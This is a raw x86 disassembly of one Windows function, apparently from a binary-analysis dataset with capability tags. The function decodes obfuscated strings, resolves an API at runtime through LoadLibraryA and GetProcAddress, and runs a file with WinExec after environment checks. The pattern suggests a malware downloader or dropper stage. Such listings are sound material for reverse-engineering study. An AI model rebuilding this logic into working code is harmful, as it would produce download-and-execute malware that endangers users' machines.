Function at 0x404290
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x40429a
mov eax, dword [esp + 0x8000]
add esp, 0xfffffbf8
mov dword [esp + 4], edx
mov dword [esp], eax
lea ebp, [esp + 0x409]
mov byte [esp + 8], 0
mov eax, ebp
mov edx, 0x8000
call fcn.00403010
push 0x40465c
push ebp
call sub.kernel32.dll_lstrcpyA_1
push 0x404684
lea eax, [ebp + 0x400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404698
lea eax, [ebp + 0x800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046a8
lea eax, [ebp + 0xc00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046c0
lea eax, [ebp + 0x1000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046d4
lea eax, [ebp + 0x1400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046f4
lea eax, [ebp + 0x1800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40471c
lea eax, [ebp + 0x1c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404738
lea eax, [ebp + 0x2000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404754
lea eax, [ebp + 0x2400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40476c
lea eax, [ebp + 0x2800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404790
lea eax, [ebp + 0x2c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047a0
lea eax, [ebp + 0x3000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047c4
lea eax, [ebp + 0x3400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047d8
lea eax, [ebp + 0x3800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047ec
lea eax, [ebp + 0x3c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047fc
lea eax, [ebp + 0x4000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404810
lea eax, [ebp + 0x4400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404828
lea eax, [ebp + 0x4800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404848
lea eax, [ebp + 0x4c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404858
lea eax, [ebp + 0x5000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404870
lea eax, [ebp + 0x5400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404888
lea eax, [ebp + 0x5800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4048a4
lea eax, [ebp + 0x5c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4048c0
lea eax, [ebp + 0x6000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4048e0
lea eax, [ebp + 0x6400]
push eax
call sub.kernel32.dll_lstrcpyA_1
xor ebx, ebx
mov esi, 0x1a
mov edi, ebp
lea edx, [esp + 9]
mov eax, edi
mov ecx, 0x9e
call fcn.0040235c
lea eax, [esp + 9]
push eax
push 0x407e24
call sub.kernel32.dll_lstrcmpiA_1
test eax, eax
jne 0x4044b4
mov bl, 1
jmp 0x4044bd
add edi, 0x400
dec esi
jne 0x40448d
test bl, bl
je 0x40464a
mov ecx, 0x407b18
mov edx, 0x4048f0
mov eax, 0x4048f8
call fcn.00402d3c
mov esi, eax
cmp esi, sub.kernel32.dll_GetStdHandle
jne 0x40464a
mov ecx, 0x407b18
mov edx, 0x404900
mov eax, 0x4048f8
call fcn.00402d3c
mov esi, eax
cmp esi, dword [esp]
jb 0x40464a
mov ecx, 0x407b18
mov edx, 0x404908
mov eax, 0x4048f8
call fcn.00402d3c
mov esi, eax
cmp esi, dword [esp + 4]
jb 0x40464a
mov eax, 0x407c1c
call fcn.0040275c
test al, al
je 0x40464a
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00403010
push 0x2d
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060a0
mov ecx, 0xa
call fcn.00402434
lea eax, [esp + 9]
push eax
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
test ebx, ebx
je 0x40464a
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00403010
push 0x6f
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060ac
mov ecx, 0x12
call fcn.00402434
lea eax, [esp + 9]
push eax
push ebx
call sub.kernel32.dll_GetProcAddress
mov ebx, eax
test ebx, ebx
je 0x40464a
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00403010
push 0xa4
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060c0
mov ecx, 0x2b
call fcn.00402434
push 0
push 0
push 0x407c1c
lea eax, [esp + 0x15]
push eax
push 0
call ebx
test eax, eax
jne 0x40464a
push 0
push 0x407c1c
call sub.kernel32.dll_WinExec_1
cmp eax, 0x20
jbe 0x40464a
push 0x407b18
mov ecx, 0x404910
mov edx, 0x4048f0
mov eax, 0x4048f8
call fcn.00402cc8
push 0x407b18
mov ecx, 0x404910
mov edx, 0x404900
mov eax, 0x4048f8
call fcn.00402cc8
push 0x407b18
mov ecx, 0x404910
mov edx, 0x404908
mov eax, 0x4048f8
call fcn.00402cc8
mov byte [esp + 8], 1
mov al, byte [esp + 8]
add esp, 0x840c
pop ebp
pop edi
pop esi
pop ebx
ret